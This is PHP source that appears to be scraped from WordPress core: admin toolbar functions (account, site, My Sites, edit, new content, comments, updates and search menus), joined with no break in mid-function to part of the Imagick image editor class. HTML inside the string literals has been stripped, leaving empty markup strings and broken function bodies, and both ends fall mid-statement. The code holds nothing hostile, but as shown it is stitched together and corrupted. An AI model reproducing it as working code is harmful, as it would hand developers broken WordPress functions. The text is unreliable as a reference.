$about_url ) { $wp_logo_menu_args['meta'] = array( 'tabindex' => 0, ); } $wp_admin_bar->add_node( $wp_logo_menu_args ); if ( $about_url ) { // Add "About WordPress" link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo', 'id' => 'about', 'title' => __( 'About WordPress' ), 'href' => $about_url, ) ); } // Add WordPress.org link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'wporg', 'title' => __( 'WordPress.org' ), 'href' => __( 'https://wordpress.org/' ), ) ); // Add documentation link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'documentation', 'title' => __( 'Documentation' ), 'href' => __( 'https://wordpress.org/support/' ), ) ); // Add forums link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'support-forums', 'title' => __( 'Support' ), 'href' => __( 'https://wordpress.org/support/forums/' ), ) ); // Add feedback link. $wp_admin_bar->add_node( array( 'parent' => 'wp-logo-external', 'id' => 'feedback', 'title' => __( 'Feedback' ), 'href' => __( 'https://wordpress.org/support/forum/requests-and-feedback' ), ) ); } /** * Adds the sidebar toggle button. * * @since 3.8.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) { if ( is_admin() ) { $wp_admin_bar->add_node( array( 'id' => 'menu-toggle', 'title' => '' . __( 'Menu' ) . '', 'href' => '#', ) ); } } /** * Adds the "My Account" item. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_account_item( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } $avatar = get_avatar( $user_id, 26 ); /* translators: %s: Current user's display name. */ $howdy = sprintf( __( 'Howdy, %s' ), '' . $current_user->display_name . '' ); $class = empty( $avatar ) ? '' : 'with-avatar'; $wp_admin_bar->add_node( array( 'id' => 'my-account', 'parent' => 'top-secondary', 'title' => $howdy . $avatar, 'href' => $profile_url, 'meta' => array( 'class' => $class, ), ) ); } /** * Adds the "My Account" submenu items. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_account_menu( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); if ( ! $user_id ) { return; } if ( current_user_can( 'read' ) ) { $profile_url = get_edit_profile_url( $user_id ); } elseif ( is_multisite() ) { $profile_url = get_dashboard_url( $user_id, 'profile.php' ); } else { $profile_url = false; } $wp_admin_bar->add_group( array( 'parent' => 'my-account', 'id' => 'user-actions', ) ); $user_info = get_avatar( $user_id, 64 ); $user_info .= "{$current_user->display_name}"; if ( $current_user->display_name !== $current_user->user_login ) { $user_info .= "{$current_user->user_login}"; } $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'user-info', 'title' => $user_info, 'href' => $profile_url, 'meta' => array( 'tabindex' => -1, ), ) ); if ( false !== $profile_url ) { $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'edit-profile', 'title' => __( 'Edit Profile' ), 'href' => $profile_url, ) ); } $wp_admin_bar->add_node( array( 'parent' => 'user-actions', 'id' => 'logout', 'title' => __( 'Log Out' ), 'href' => wp_logout_url(), ) ); } /** * Adds the "Site Name" menu. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_site_menu( $wp_admin_bar ) { // Don't show for logged out users. if ( ! is_user_logged_in() ) { return; } // Show only when the user is a member of this site, or they're a super admin. if ( ! is_user_member_of_blog() && ! current_user_can( 'manage_network' ) ) { return; } $blogname = get_bloginfo( 'name' ); if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() ); } if ( is_network_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) ); } elseif ( is_user_admin() ) { /* translators: %s: Site title. */ $blogname = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) ); } $title = wp_html_excerpt( $blogname, 40, '…' ); $wp_admin_bar->add_node( array( 'id' => 'site-name', 'title' => $title, 'href' => ( is_admin() || ! current_user_can( 'read' ) ) ? home_url( '/' ) : admin_url(), ) ); // Create submenu items. if ( is_admin() ) { // Add an option to visit the site. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'edit-site', 'title' => __( 'Edit Site' ), 'href' => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ), ) ); } } elseif ( current_user_can( 'read' ) ) { // We're on the front end, link to the Dashboard. $wp_admin_bar->add_node( array( 'parent' => 'site-name', 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); // Add the appearance submenu items. wp_admin_bar_appearance_menu( $wp_admin_bar ); } } /** * Adds the "Edit site" link to the Toolbar. * * @since 5.9.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_edit_site_menu( $wp_admin_bar ) { // Don't show if a block theme is not activated. if ( ! wp_is_block_theme() ) { return; } // Don't show for users who can't edit theme options or when in the admin. if ( ! current_user_can( 'edit_theme_options' ) || is_admin() ) { return; } $wp_admin_bar->add_node( array( 'id' => 'site-editor', 'title' => __( 'Edit site' ), 'href' => admin_url( 'site-editor.php' ), ) ); } /** * Adds the "Customize" link to the Toolbar. * * @since 4.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. * @global WP_Customize_Manager $wp_customize */ function wp_admin_bar_customize_menu( $wp_admin_bar ) { global $wp_customize; // Don't show if a block theme is activated and no plugins use the customizer. if ( wp_is_block_theme() && ! has_action( 'customize_register' ) ) { return; } // Don't show for users who can't access the customizer or when in the admin. if ( ! current_user_can( 'customize' ) || is_admin() ) { return; } // Don't show if the user cannot edit a given customize_changeset post currently being previewed. if ( is_customize_preview() && $wp_customize->changeset_post_id() && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $wp_customize->changeset_post_id() ) ) { return; } $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if ( is_customize_preview() && $wp_customize->changeset_uuid() ) { $current_url = remove_query_arg( 'customize_changeset_uuid', $current_url ); } $customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() ); if ( is_customize_preview() ) { $customize_url = add_query_arg( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ), $customize_url ); } $wp_admin_bar->add_node( array( 'id' => 'customize', 'title' => __( 'Customize' ), 'href' => $customize_url, 'meta' => array( 'class' => 'hide-if-no-customize', ), ) ); add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' ); } /** * Adds the "My Sites/[Site Name]" menu and all submenus. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_my_sites_menu( $wp_admin_bar ) { // Don't show for logged out users or single site mode. if ( ! is_user_logged_in() || ! is_multisite() ) { return; } // Show only when the user has at least one site, or they're a super admin. if ( count( $wp_admin_bar->user->blogs ) < 1 && ! current_user_can( 'manage_network' ) ) { return; } if ( $wp_admin_bar->user->active_blog ) { $my_sites_url = get_admin_url( $wp_admin_bar->user->active_blog->blog_id, 'my-sites.php' ); } else { $my_sites_url = admin_url( 'my-sites.php' ); } $wp_admin_bar->add_node( array( 'id' => 'my-sites', 'title' => __( 'My Sites' ), 'href' => $my_sites_url, ) ); if ( current_user_can( 'manage_network' ) ) { $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-super-admin', ) ); $wp_admin_bar->add_node( array( 'parent' => 'my-sites-super-admin', 'id' => 'network-admin', 'title' => __( 'Network Admin' ), 'href' => network_admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-d', 'title' => __( 'Dashboard' ), 'href' => network_admin_url(), ) ); if ( current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-s', 'title' => __( 'Sites' ), 'href' => network_admin_url( 'sites.php' ), ) ); } if ( current_user_can( 'manage_network_users' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-u', 'title' => __( 'Users' ), 'href' => network_admin_url( 'users.php' ), ) ); } if ( current_user_can( 'manage_network_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-t', 'title' => __( 'Themes' ), 'href' => network_admin_url( 'themes.php' ), ) ); } if ( current_user_can( 'manage_network_plugins' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-p', 'title' => __( 'Plugins' ), 'href' => network_admin_url( 'plugins.php' ), ) ); } if ( current_user_can( 'manage_network_options' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'network-admin', 'id' => 'network-admin-o', 'title' => __( 'Settings' ), 'href' => network_admin_url( 'settings.php' ), ) ); } } // Add site links. $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-list', 'meta' => array( 'class' => current_user_can( 'manage_network' ) ? 'ab-sub-secondary' : '', ), ) ); /** * Filters whether to show the site icons in toolbar. * * Returning false to this hook is the recommended way to hide site icons in the toolbar. * A truthy return may have negative performance impact on large multisites. * * @since 6.0.0 * * @param bool $show_site_icons Whether site icons should be shown in the toolbar. Default true. */ $show_site_icons = apply_filters( 'wp_admin_bar_show_site_icons', true ); foreach ( (array) $wp_admin_bar->user->blogs as $blog ) { switch_to_blog( $blog->userblog_id ); if ( true === $show_site_icons && has_site_icon() ) { $blavatar = sprintf( '', esc_url( get_site_icon_url( 16 ) ), esc_url( get_site_icon_url( 32 ) ), ( wp_lazy_loading_enabled( 'img', 'site_icon_in_toolbar' ) ? ' loading="lazy"' : '' ) ); } else { $blavatar = '
'; } $blogname = $blog->blogname; if ( ! $blogname ) { $blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() ); } $menu_id = 'blog-' . $blog->userblog_id; if ( current_user_can( 'read' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => admin_url(), ) ); $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-d', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); } else { $wp_admin_bar->add_node( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => home_url(), ) ); } if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-n', 'title' => get_post_type_object( 'post' )->labels->new_item, 'href' => admin_url( 'post-new.php' ), ) ); } if ( current_user_can( 'edit_posts' ) ) { $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-c', 'title' => __( 'Manage Comments' ), 'href' => admin_url( 'edit-comments.php' ), ) ); } $wp_admin_bar->add_node( array( 'parent' => $menu_id, 'id' => $menu_id . '-v', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); restore_current_blog(); } } /** * Provides a shortlink. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_shortlink_menu( $wp_admin_bar ) { $short = wp_get_shortlink( 0, 'query' ); $id = 'get-shortlink'; if ( empty( $short ) ) { return; } $html = ''; $wp_admin_bar->add_node( array( 'id' => $id, 'title' => __( 'Shortlink' ), 'href' => $short, 'meta' => array( 'html' => $html ), ) ); } /** * Provides an edit link for posts and terms. * * @since 3.1.0 * @since 5.5.0 Added a "View Post" link on Comments screen for a single post. * * @global WP_Term $tag * @global WP_Query $wp_the_query WordPress Query object. * @global int $user_id The ID of the user being edited. Not to be confused with the * global $user_ID, which contains the ID of the current user. * @global int $post_id The ID of the post when editing comments for a single post. * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_edit_menu( $wp_admin_bar ) { global $tag, $wp_the_query, $user_id, $post_id; if ( is_admin() ) { $current_screen = get_current_screen(); $post = get_post(); $post_type_object = null; if ( 'post' === $current_screen->base ) { $post_type_object = get_post_type_object( $post->post_type ); } elseif ( 'edit' === $current_screen->base ) { $post_type_object = get_post_type_object( $current_screen->post_type ); } elseif ( 'edit-comments' === $current_screen->base && $post_id ) { $post = get_post( $post_id ); if ( $post ) { $post_type_object = get_post_type_object( $post->post_type ); } } if ( ( 'post' === $current_screen->base || 'edit-comments' === $current_screen->base ) && 'add' !== $current_screen->action && ( $post_type_object ) && current_user_can( 'read_post', $post->ID ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) ) { if ( 'draft' === $post->post_status ) { $preview_link = get_preview_post_link( $post ); $wp_admin_bar->add_node( array( 'id' => 'preview', 'title' => $post_type_object->labels->view_item, 'href' => esc_url( $preview_link ), 'meta' => array( 'target' => 'wp-preview-' . $post->ID ), ) ); } else { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $post_type_object->labels->view_item, 'href' => get_permalink( $post->ID ), ) ); } } elseif ( 'edit' === $current_screen->base && ( $post_type_object ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) && ( get_post_type_archive_link( $post_type_object->name ) ) && ! ( 'post' === $post_type_object->name && 'posts' === get_option( 'show_on_front' ) ) ) { $wp_admin_bar->add_node( array( 'id' => 'archive', 'title' => $post_type_object->labels->view_items, 'href' => get_post_type_archive_link( $current_screen->post_type ), ) ); } elseif ( 'term' === $current_screen->base && isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag ) ) { $tax = get_taxonomy( $tag->taxonomy ); if ( is_taxonomy_viewable( $tax ) ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => $tax->labels->view_item, 'href' => get_term_link( $tag ), ) ); } } elseif ( 'user-edit' === $current_screen->base && isset( $user_id ) ) { $user_object = get_userdata( $user_id ); $view_link = get_author_posts_url( $user_object->ID ); if ( $user_object->exists() && $view_link ) { $wp_admin_bar->add_node( array( 'id' => 'view', 'title' => __( 'View User' ), 'href' => $view_link, ) ); } } } else { $current_object = $wp_the_query->get_queried_object(); if ( empty( $current_object ) ) { return; } if ( ! empty( $current_object->post_type ) ) { $post_type_object = get_post_type_object( $current_object->post_type ); $edit_post_link = get_edit_post_link( $current_object->ID ); if ( $post_type_object && $edit_post_link && current_user_can( 'edit_post', $current_object->ID ) && $post_type_object->show_in_admin_bar ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $post_type_object->labels->edit_item, 'href' => $edit_post_link, ) ); } } elseif ( ! empty( $current_object->taxonomy ) ) { $tax = get_taxonomy( $current_object->taxonomy ); $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ); if ( $tax && $edit_term_link && current_user_can( 'edit_term', $current_object->term_id ) ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => $tax->labels->edit_item, 'href' => $edit_term_link, ) ); } } elseif ( is_a( $current_object, 'WP_User' ) && current_user_can( 'edit_user', $current_object->ID ) ) { $edit_user_link = get_edit_user_link( $current_object->ID ); if ( $edit_user_link ) { $wp_admin_bar->add_node( array( 'id' => 'edit', 'title' => __( 'Edit User' ), 'href' => $edit_user_link, ) ); } } } } /** * Adds "Add New" menu. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_new_content_menu( $wp_admin_bar ) { $actions = array(); $cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' ); if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) ) { $actions['post-new.php'] = array( $cpts['post']->labels->name_admin_bar, 'new-post' ); } if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) ) { $actions['media-new.php'] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' ); } if ( current_user_can( 'manage_links' ) ) { $actions['link-add.php'] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' ); } if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) ) { $actions['post-new.php?post_type=page'] = array( $cpts['page']->labels->name_admin_bar, 'new-page' ); } unset( $cpts['post'], $cpts['page'], $cpts['attachment'] ); // Add any additional custom post types. foreach ( $cpts as $cpt ) { if ( ! current_user_can( $cpt->cap->create_posts ) ) { continue; } $key = 'post-new.php?post_type=' . $cpt->name; $actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name ); } // Avoid clash with parent node and a 'content' post type. if ( isset( $actions['post-new.php?post_type=content'] ) ) { $actions['post-new.php?post_type=content'][1] = 'add-new-content'; } if ( current_user_can( 'create_users' ) || ( is_multisite() && current_user_can( 'promote_users' ) ) ) { $actions['user-new.php'] = array( _x( 'User', 'add new from admin bar' ), 'new-user' ); } if ( ! $actions ) { return; } $title = '' . _x( 'New', 'admin bar menu group label' ) . ''; $wp_admin_bar->add_node( array( 'id' => 'new-content', 'title' => $title, 'href' => admin_url( current( array_keys( $actions ) ) ), ) ); foreach ( $actions as $link => $action ) { list( $title, $id ) = $action; $wp_admin_bar->add_node( array( 'parent' => 'new-content', 'id' => $id, 'title' => $title, 'href' => admin_url( $link ), ) ); } } /** * Adds edit comments link with awaiting moderation count bubble. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_comments_menu( $wp_admin_bar ) { if ( ! current_user_can( 'edit_posts' ) ) { return; } $awaiting_mod = wp_count_comments(); $awaiting_mod = $awaiting_mod->moderated; $awaiting_text = sprintf( /* translators: %s: Number of comments. */ _n( '%s Comment in moderation', '%s Comments in moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) ); $icon = ''; $title = ''; $title .= '' . $awaiting_text . ''; $wp_admin_bar->add_node( array( 'id' => 'comments', 'title' => $icon . $title, 'href' => admin_url( 'edit-comments.php' ), ) ); } /** * Adds appearance submenu items to the "Site Name" menu. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_appearance_menu( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance', ) ); if ( current_user_can( 'switch_themes' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'themes', 'title' => __( 'Themes' ), 'href' => admin_url( 'themes.php' ), ) ); } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } if ( current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'widgets', 'title' => __( 'Widgets' ), 'href' => admin_url( 'widgets.php' ), ) ); } if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __( 'Menus' ), 'href' => admin_url( 'nav-menus.php' ), ) ); } if ( current_theme_supports( 'custom-background' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'background', 'title' => __( 'Background' ), 'href' => admin_url( 'themes.php?page=custom-background' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } if ( current_theme_supports( 'custom-header' ) ) { $wp_admin_bar->add_node( array( 'parent' => 'appearance', 'id' => 'header', 'title' => __( 'Header' ), 'href' => admin_url( 'themes.php?page=custom-header' ), 'meta' => array( 'class' => 'hide-if-customize', ), ) ); } } /** * Provides an update link if theme/plugin/core updates are available. * * @since 3.1.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_updates_menu( $wp_admin_bar ) { $update_data = wp_get_update_data(); if ( ! $update_data['counts']['total'] ) { return; } $updates_text = sprintf( /* translators: %s: Total number of updates available. */ _n( '%s update available', '%s updates available', $update_data['counts']['total'] ), number_format_i18n( $update_data['counts']['total'] ) ); $icon = ''; $title = ''; $title .= '' . $updates_text . ''; $wp_admin_bar->add_node( array( 'id' => 'updates', 'title' => $icon . $title, 'href' => network_admin_url( 'update-core.php' ), ) ); } /** * Adds search form. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_search_menu( $wp_admin_bar ) { if ( is_admin() ) { return; } $form = '
'; $form .= ''; $form .= ''; $form .= ''; $form .= '
'; $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'search', 'title' => $form, 'meta' => array( 'class' => 'admin-bar-search', 'tabindex' => -1, ), ) ); } /** * Adds a link to exit recovery mode when Recovery Mode is active. * * @since 5.2.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_recovery_mode_menu( $wp_admin_bar ) { if ( ! wp_is_recovery_mode() ) { return; } $url = wp_login_url(); $url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url ); $url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION ); $wp_admin_bar->add_node( array( 'parent' => 'top-secondary', 'id' => 'recovery-mode', 'title' => __( 'Exit Recovery Mode' ), 'href' => $url, ) ); } /** * Adds secondary menus. * * @since 3.3.0 * * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance. */ function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'id' => 'top-secondary', 'meta' => array( 'class' => 'ab-top-secondary', ), ) ); $wp_admin_bar->add_group( array( 'parent' => 'wp-logo', 'id' => 'wp-logo-external', 'meta' => array( 'class' => 'ab-sub-secondary', ), ) ); } /** * Prints style and scripts for the admin bar. * * @since 3.1.0 */ function wp_admin_bar_header() { $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; ?> media="print">#wpadminbar { display:none; } media="screen"> html { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } } image instanceof Imagick ) { // We don't need the original in memory anymore. $this->image->clear(); $this->image->destroy(); } } /** * Checks to see if current environment supports Imagick. * * We require Imagick 2.2.0 or greater, based on whether the queryFormats() * method can be called statically. * * @since 3.5.0 * * @param array $args * @return bool */ public static function test( $args = array() ) { // First, test Imagick's extension and classes. if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) ) { return false; } if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) ) { return false; } $required_methods = array( 'clear', 'destroy', 'valid', 'getimage', 'writeimage', 'getimageblob', 'getimagegeometry', 'getimageformat', 'setimageformat', 'setimagecompression', 'setimagecompressionquality', 'setimagepage', 'setoption', 'scaleimage', 'cropimage', 'rotateimage', 'flipimage', 'flopimage', 'readimage', 'readimageblob', ); // Now, test for deep requirements within Imagick. if ( ! defined( 'imagick::COMPRESSION_JPEG' ) ) { return false; } $class_methods = array_map( 'strtolower', get_class_methods( 'Imagick' ) ); if ( array_diff( $required_methods, $class_methods ) ) { return false; } return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { $imagick_extension = strtoupper( self::get_extension( $mime_type ) ); if ( ! $imagick_extension ) { return false; } // setIteratorIndex is optional unless mime is an animated format. // Here, we just say no if you are missing it and aren't loading a jpeg. if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && 'image/jpeg' !== $mime_type ) { return false; } try { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged return ( (bool) @Imagick::queryFormats( $imagick_extension ) ); } catch ( Exception $e ) { return false; } } /** * Loads image from $this->file into new Imagick Object. * * @since 3.5.0 * * @return true|WP_Error True if loaded; WP_Error on failure. */ public function load() { if ( $this->image instanceof Imagick ) { return true; } if ( ! is_file( $this->file ) && ! wp_is_stream( $this->file ) ) { return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file ); } /* * Even though Imagick uses less PHP memory than GD, set higher limit * for users that have low PHP.ini limits. */ wp_raise_memory_limit( 'image' ); try { $this->image = new Imagick(); $file_extension = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) ); if ( 'pdf' === $file_extension ) { $pdf_loaded = $this->pdf_load_source(); if ( is_wp_error( $pdf_loaded ) ) { return $pdf_loaded; } } else { if ( wp_is_stream( $this->file ) ) { // Due to reports of issues with streams with `Imagick::readImageFile()`, uses `Imagick::readImageBlob()` instead. $this->image->readImageBlob( file_get_contents( $this->file ), $this->file ); } else { $this->image->readImage( $this->file ); } } if ( ! $this->image->valid() ) { return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file ); } // Select the first frame to handle animated images properly. if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) ) { $this->image->setIteratorIndex( 0 ); } $this->mime_type = $this->get_mime_type( $this->image->getImageFormat() ); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', $e->getMessage(), $this->file ); } $updated_size = $this->update_size(); if ( is_wp_error( $updated_size ) ) { return $updated_size; } return $this->set_quality(); } /** * Sets Image Compression quality on a 1-100% scale. * * @since 3.5.0 * * @param int $quality Compression Quality. Range: [1,100] * @return true|WP_Error True if set successfully; WP_Error on failure. */ public function set_quality( $quality = null ) { $quality_result = parent::set_quality( $quality ); if ( is_wp_error( $quality_result ) ) { return $quality_result; } else { $quality = $this->get_quality(); } try { switch ( $this->mime_type ) { case 'image/jpeg': $this->image->setImageCompressionQuality( $quality ); $this->image->setImageCompression( imagick::COMPRESSION_JPEG ); break; case 'image/webp': $webp_info = wp_get_webp_info( $this->file ); if ( 'lossless' === $webp_info['type'] ) { // Use WebP lossless settings. $this->image->setImageCompressionQuality( 100 ); $this->image->setOption( 'webp:lossless', 'true' ); } else { $this->image->setImageCompressionQuality( $quality ); } break; default: $this->image->setImageCompressionQuality( $quality ); } } catch ( Exception $e ) { return new WP_Error( 'image_quality_error', $e->getMessage() ); } return true; } /** * Sets or updates current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true|WP_Error */ protected function update_size( $width = null, $height = null ) { $size = null; if ( ! $width || ! $height ) { try { $size = $this->image->getImageGeometry(); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file ); } } if ( ! $width ) { $width = $size['width']; } if ( ! $height ) { $height = $size['height']; } return parent::update_size( $width, $height ); } /** * Resizes current image. * * At minimum, either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool $crop * @return true|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) { return true; } $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ) ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; if ( $crop ) { return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h ); } // Execute the resize. $thumb_result = $this->thumbnail_image( $dst_w, $dst_h ); if ( is_wp_error( $thumb_result ) ) { return $thumb_result; } return $this->update_size( $dst_w, $dst_h ); } /** * Efficiently resize the current image * * This is a WordPress specific implementation of Imagick::thumbnailImage(), * which resizes an image to given dimensions and removes any associated profiles. * * @since 4.5.0 * * @param int $dst_w The destination width. * @param int $dst_h The destination height. * @param string $filter_name Optional. The Imagick filter to use when resizing. Default 'FILTER_TRIANGLE'. * @param bool $strip_meta Optional. Strip all profiles, excluding color profiles, from the image. Default true. * @return void|WP_Error */ protected function thumbnail_image( $dst_w, $dst_h, $filter_name = 'FILTER_TRIANGLE', $strip_meta = true ) { $allowed_filters = array( 'FILTER_POINT', 'FILTER_BOX', 'FILTER_TRIANGLE', 'FILTER_HERMITE', 'FILTER_HANNING', 'FILTER_HAMMING', 'FILTER_BLACKMAN', 'FILTER_GAUSSIAN', 'FILTER_QUADRATIC', 'FILTER_CUBIC', 'FILTER_CATROM', 'FILTER_MITCHELL', 'FILTER_LANCZOS', 'FILTER_BESSEL', 'FILTER_SINC', ); /** * Set the filter value if '$filter_name' name is in the allowed list and the related * Imagick constant is defined or fall back to the default filter. */ if ( in_array( $filter_name, $allowed_filters, true ) && defined( 'Imagick::' . $filter_name ) ) { $filter = constant( 'Imagick::' . $filter_name ); } else { $filter = defined( 'Imagick::FILTER_TRIANGLE' ) ? Imagick::FILTER_TRIANGLE : false; } /** * Filters whether to strip metadata from images when they're resized. * * This filter only applies when resizing using the Imagick editor since GD * always strips profiles by default. * * @since 4.5.0 * * @param bool $strip_meta Whether to strip image metadata during resizing. Default true. */ if ( apply_filters( 'image_strip_meta', $strip_meta ) ) { $this->strip_meta(); // Fail silently if not supported. } try { /* * To be more efficient, resample large images to 5x the destination size before resizing * whenever the output size is less that 1/3 of the original image size (1/3^2 ~= .111), * unless we would be resampling to a scale smaller than 128x128. */ if ( is_callable( array( $this->image, 'sampleImage' ) ) ) { $resize_ratio = ( $dst_w / $this->size['width'] ) * ( $dst_h / $this->size['height'] ); $sample_factor = 5; if ( $resize_ratio < .111 && ( $dst_w * $sample_factor > 128 